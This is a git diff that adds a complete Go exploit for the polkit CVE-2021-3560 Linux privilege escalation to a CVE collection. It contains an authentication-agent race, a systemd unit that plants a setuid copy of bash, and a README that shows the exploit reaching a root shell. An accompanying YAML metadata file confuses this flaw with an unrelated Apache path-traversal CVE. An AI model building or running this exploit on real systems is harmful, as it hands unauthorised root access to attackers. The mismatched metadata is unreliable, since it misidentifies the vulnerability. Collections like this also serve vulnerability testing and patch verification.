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In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. 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--git a/cve/apache/2021/CVE-2021-3560/README.md b/cve/apache/2021/CVE-2021-3560/README.md new file mode 100644 index 0000000000000000000000000000000000000000..1f2111d1dc0a858c46c163a58e411fb41ff07226 --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/README.md @@ -0,0 +1,40 @@ +PolicyKit CVE-2021-3560 Exploit (Authentication Agent) +==== + +### Technology Details +Blog posts about this exploit : +- https://ricterz.me/posts/2022-04-28-a-new-exploit-method-for-cve-2021-3560-polkit-linux-privilege-escalation.txt +- http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation + +## Build & Usage +``` +nobody@test:/tmp/CVE-2021-3560$ go build +nobody@test:/tmp/CVE-2021-3560$ ./CVE-2021-3560 ./pwnkit.service +=== polkit CVE-2021-3560 exploit - RicterZ @ 360 Noah Lab === +pid-267920 - [*] Registering PolicyKit authentication agent ... +... +pid-267915 - [-] Exploit failed, please try again +nobody@test:/tmp/CVE-2021-3560$ ./CVE-2021-3560 ./pwnkit.service +=== polkit CVE-2021-3560 exploit - RicterZ @ 360 Noah Lab === +pid-267963 - [*] Registering PolicyKit authentication agent ... +pid-267963 - [*] Authentication agent main loop running ... +pid-267968 - [*] Registering PolicyKit authentication agent ... +pid-267973 - [*] Registering PolicyKit authentication agent ... +pid-267968 - [*] Authentication agent main loop running ... +pid-267973 - [*] Authentication agent main loop running ... +pid-267963 - [*] Starting systemd service 'pwnkit.service' ... +pid-267968 - [*] Enabling systemd unit file '/tmp/pwnkit.service' ... +pid-267973 - [*] Reloading systemd daemon ... +pid-267963 - [+] Received authentication request for action: 'org.freedesktop.systemd1.manage-units' +pid-267963 - [*] Cookie: 100-9b8357901e7f4f4847cbd15a3d191cc4-1-10167c9df23ebe27c57534750f48ef7a +pid-267968 - [+] Received authentication request for action: 'org.freedesktop.systemd1.manage-unit-files' +pid-267968 - [*] Cookie: 101-48273279f75230e86c9ad5df212ee54d-1-a86a81adcf07ad16ab6017a21235da80 +pid-267973 - [+] Received authentication request for action: 'org.freedesktop.systemd1.reload-daemon' +pid-267973 - [*] Cookie: 102-3fb9b174b470f5d04881cbfeb16a60d0-1-8a36d3a7f9aca22af0a0f8562f20dbe2 +pid-267958 - [+] File exists, popping root shell ... +pwned-5.0# id +uid=65534(nobody) gid=65534(nogroup) euid=0(root) egid=0(root) groups=0(root),65534(nogroup) +``` + +## License +Apache License diff --git a/cve/apache/2021/CVE-2021-3560/agent.go b/cve/apache/2021/CVE-2021-3560/agent.go new file mode 100644 index 0000000000000000000000000000000000000000..c8fd629da7dc83a4da64f5499cd999ce37b6a173 --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/agent.go @@ -0,0 +1,96 @@ +package main + +import ( + "fmt" + "os" + "strconv" + "syscall" + "time" + + "github.com/godbus/dbus/v5" +) + +var PolicyKitName = "org.freedesktop.PolicyKit1" +var PolicyKitInterface = "org.freedesktop.PolicyKit1.Authority" +var PolicyKitObjectPath = "/org/freedesktop/PolicyKit1/Authority" +var PolicyKitAgentInterface = "org.freedesktop.PolicyKit1.AuthenticationAgent" +var PolicyKitAgentObjectPath = "/org/freedesktop/PolicyKit1/AuthenticationAgent" + +type Subject struct { + Type string `dbus:"s"` + Data map[string]dbus.Variant `dbus:"a{sv}"` +} + +type Identity struct { + Type string `dbus:"s"` + Data map[string]dbus.Variant `dbus:"a{sv}"` +} + +type Agent struct { + Conn *dbus.Conn + Authority *dbus.BusObject + Subject *Subject +} + +func Logging(format string, a ...interface{}) { + format = "pid-" + strconv.Itoa(os.Getpid()) + " - " + format + "\n" + fmt.Printf(format, a ...) +} + +func (agent Agent) RegisterAgent() { + Logging("[*] Registering PolicyKit authentication agent ...") + + call := (*agent.Authority).Call(PolicyKitInterface+".RegisterAuthenticationAgent", 0, + agent.Subject, "en_US.UTF-8", PolicyKitAgentObjectPath) + + if call.Err != nil { + Logging("[-] Error while registering authentication agent: %s", call.Err) + os.Exit(2) + } +} + +func Kill(pid int) { + time.Sleep(time.Millisecond * 10) + syscall.Kill(pid, syscall.SIGKILL) +} + +func (agent Agent) BeginAuthentication(action string, _ string, _ string, _ map[string]string, + cookie string, identities []Identity) *dbus.Error { + Logging("[+] Received authentication request for action: '%s'", action) + Logging("[*] Cookie: %s", cookie) + + go Kill(os.Getpid()) + go (*agent.Authority).Call(PolicyKitInterface+".AuthenticationAgentResponse2", 0, + uint32(os.Getuid()), cookie, identities[0]) + time.Sleep(time.Millisecond * 1) + return nil +} + +func (agent Agent) StartAgent() { + conn, err := dbus.ConnectSystemBus() + if err != nil { + Logging("[-] Error for connecting system bus: %s", err) + os.Exit(1) + } + + // setup + agent.Conn = conn + agent.Subject = new(Subject) + agent.Subject.Type = "unix-process" + + agent.Subject.Data = make(map[string]dbus.Variant) + agent.Subject.Data["pid"] = dbus.MakeVariant(uint32(os.Getpid())) + agent.Subject.Data["start-time"] = dbus.MakeVariant(uint64(0)) + + // set authority + obj := agent.Conn.Object(PolicyKitName, dbus.ObjectPath(PolicyKitObjectPath)) + agent.Authority = &obj + + // export methods + mapping := make(map[string]string) + mapping["BeginAuthentication"] = "BeginAuthentication" + agent.Conn.ExportWithMap(agent, mapping, dbus.ObjectPath(PolicyKitAgentObjectPath), PolicyKitAgentInterface) + agent.RegisterAgent() + + Logging("[*] Authentication agent main loop running ...") +} diff --git a/cve/apache/2021/CVE-2021-3560/exploit.go b/cve/apache/2021/CVE-2021-3560/exploit.go new file mode 100644 index 0000000000000000000000000000000000000000..74e80c0fc0d6af7db1b994b001874680fc3f461d --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/exploit.go @@ -0,0 +1,156 @@ +package main + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "time" + + "github.com/godbus/dbus/v5" +) + +var SystemdName = "org.freedesktop.systemd1" +var SystemdInterface = "org.freedesktop.systemd1.Manager" +var SystemdObjectPath = "/org/freedesktop/systemd1" + + +func Banner() { + fmt.Println("=== polkit CVE-2021-3560 exploit - RicterZ @ 360 Noah Lab ===") +} + +func Fork() { + attr := &syscall.ProcAttr{ + Env: os.Environ(), + Files: []uintptr{os.Stdin.Fd(), os.Stdout.Fd(), os.Stderr.Fd()}, + } + args := append(os.Args, "1") + go syscall.ForkExec("/proc/self/exe", args, attr) +} + +func main() { + if len(os.Args) == 2 { + Banner() + } + if !strings.HasSuffix(os.Args[1], ".service") { + Logging("[-] Unit file must end with .service") + os.Exit(3) + } + + abs, err := filepath.Abs(os.Args[1]) + if err != nil { + Logging("[-] Unit file status error: %s", err) + os.Exit(3) + } + + if len(os.Args) <= 4 { + Fork() + } + + var agent Agent + + if len(os.Args) != 2 { + go agent.StartAgent() + time.Sleep(time.Millisecond * 500) + } + + if len(os.Args) == 3 { + go MethodCallStartService(filepath.Base(abs)) + } else if len(os.Args) == 4 { + go MethodCallEnableUnitFiles(abs) + } else if len(os.Args) == 5 { + go MethodReload() + } else { + for i:=1; i<5; i++ { + time.Sleep(time.Second) + if _, err := os.Stat("/usr/local/bin/pwned"); err == nil { + Logging("[+] File exists, popping root shell ...") + cmd := exec.Command("/usr/local/bin/pwned", "-p") + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + cmd.Run() + os.Exit(0) + } + } + Logging("[-] Exploit failed, please try again") + os.Exit(1) + } + + select {} +} + + +func MethodCallStartService(ServiceName string) { + Logging("[*] Starting systemd service '%s' ...", ServiceName) + conn, err := dbus.ConnectSystemBus() + defer conn.Close() + if err != nil { + Logging("[-] Error for connecting system bus: %s", err) + os.Exit(1) + } + + bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath)) + call := bus.Call(SystemdInterface+".StartUnit", 4, ServiceName, "replace") + if call.Err != nil { + Logging("[-] Error for starting systemd service: %s", call.Err) + } +} + +func MethodReload() { + Logging("[*] Reloading systemd daemon ...") + conn, err := dbus.ConnectSystemBus() + if err != nil { + Logging("[-] Error for connecting system bus: %s", err) + os.Exit(1) + } + + bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath)) + message := CreateMessage(bus, SystemdInterface+".Reload") + call := conn.Send(message, make(chan *dbus.Call, 1)) + if call.Err != nil { + Logging("[-] Error for reloading daemon: %s", call.Err) + } +} + +func MethodCallEnableUnitFiles(ServiceName string) { + Logging("[*] Enabling systemd unit file '%s' ...", ServiceName) + conn, err := dbus.ConnectSystemBus() + if err != nil { + Logging("[-] Error for connection system bus: %s", err) + os.Exit(1) + } + + bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath)) + message := CreateMessage(bus, SystemdInterface+".EnableUnitFiles", []string{ServiceName}, false, true) + call := conn.Send(message, make(chan *dbus.Call, 1)) + if call.Err != nil { + Logging("[-] Error for enabling unit file: %s", call.Err) + } +} + +func CreateMessage(obj dbus.BusObject, method string, args ...interface{}) *dbus.Message { + iface := "" + i := strings.LastIndex(method, ".") + if i != -1 { + iface = method[:i] + } + method = method[i+1:] + msg := new(dbus.Message) + msg.Type = dbus.TypeMethodCall + msg.Flags = dbus.FlagAllowInteractiveAuthorization + msg.Headers = make(map[dbus.HeaderField]dbus.Variant) + msg.Headers[dbus.FieldPath] = dbus.MakeVariant(obj.Path()) + msg.Headers[dbus.FieldDestination] = dbus.MakeVariant(obj.Destination()) + msg.Headers[dbus.FieldMember] = dbus.MakeVariant(method) + if iface != "" { + msg.Headers[dbus.FieldInterface] = dbus.MakeVariant(iface) + } + msg.Body = args + if len(args) > 0 { + msg.Headers[dbus.FieldSignature] = dbus.MakeVariant(dbus.SignatureOf(args...)) + } + return msg +} diff --git a/cve/apache/2021/CVE-2021-3560/go.mod b/cve/apache/2021/CVE-2021-3560/go.mod new file mode 100644 index 0000000000000000000000000000000000000000..9e06b1f1e4ed14e36e8d15368177c43eb41f9f27 --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/go.mod @@ -0,0 +1,5 @@ +module CVE-2021-3560 + +go 1.13 + +require github.com/godbus/dbus/v5 v5.1.0 diff --git a/cve/apache/2021/CVE-2021-3560/go.sum b/cve/apache/2021/CVE-2021-3560/go.sum new file mode 100644 index 0000000000000000000000000000000000000000..7538a956996b19390ef31ec5228acb768f86e1a7 --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/go.sum @@ -0,0 +1,3 @@ +github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4= +github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= +github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= diff --git a/cve/apache/2021/CVE-2021-3560/pwnkit.service b/cve/apache/2021/CVE-2021-3560/pwnkit.service new file mode 100644 index 0000000000000000000000000000000000000000..7643565027b05495434115b0ea8d6109c1fe3ee1 --- /dev/null +++ b/cve/apache/2021/CVE-2021-3560/pwnkit.service @@ -0,0 +1,9 @@ +[Unit] +Description=Super Secure Shell +AllowIsolate=no + +[Service] +ExecStart=/bin/bash -c '/usr/bin/cp /bin/bash /usr/local/bin/pwned; /usr/bin/chmod +s /usr/local/bin/pwned' + +[Install] +Alias=pwnkit.service diff --git a/cve/apache/2021/yaml/CVE-2022-3560.yaml b/cve/apache/2021/yaml/CVE-2022-3560.yaml new file mode 100644 index 0000000000000000000000000000000000000000..5c442daeb478605d268493fbf7bb13a3bf85f6f1 --- /dev/null +++ b/cve/apache/2021/yaml/CVE-2022-3560.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-42013 +source: https://github.com/RicterZ/CVE-2021-3560-Authentication-Agent +info: + name: Apache HTTP Server（简称 Apache）是开源的 Web 服务器，可以在大多数计算机操作系统中运行，由于其多平台和安全性被广泛使用，是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩展，将 Perl/Python 等解释器编译到服务器中。 + severity: critical + description: | + Apache HTTP Server 2.4.50版本中对CVE-2021-41773修复不够完善，攻击者可利用该漏洞绕过修复补丁，并利用目录穿越攻击访问服务器中一些文件，进而造成敏感信息泄露。若httpd中开启CGI功能，攻击者可以构造恶意请求，造成远程代码执行。 + scope-of-influence: + Apache HTTP = 2.4.49, Apache HTTP = 2.4.50 + reference: + - https://ricterz.me/posts/2022-04-28-a-new-exploit-method-for-cve-2021-3560-polkit-linux-privilege-escalation.txt + - http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-3560 + cwe-id: CWE-22 + cnvd-id: None + kve-id: None + tags: cve2021,Apache,目录遍历,RCE \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 723a6199b0075e0b504d2d4a1e9fbf67e5e8f8be..4107610322a34d5568d756ec38989bb96cffab86 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -4,6 +4,7 @@ cve: - CVE-2020-9490 - CVE-2021-41773 - CVE-2021-42013 + - CVE-2021-3560 apache-APISIX: - CVE-2022-24112 apache-activemq: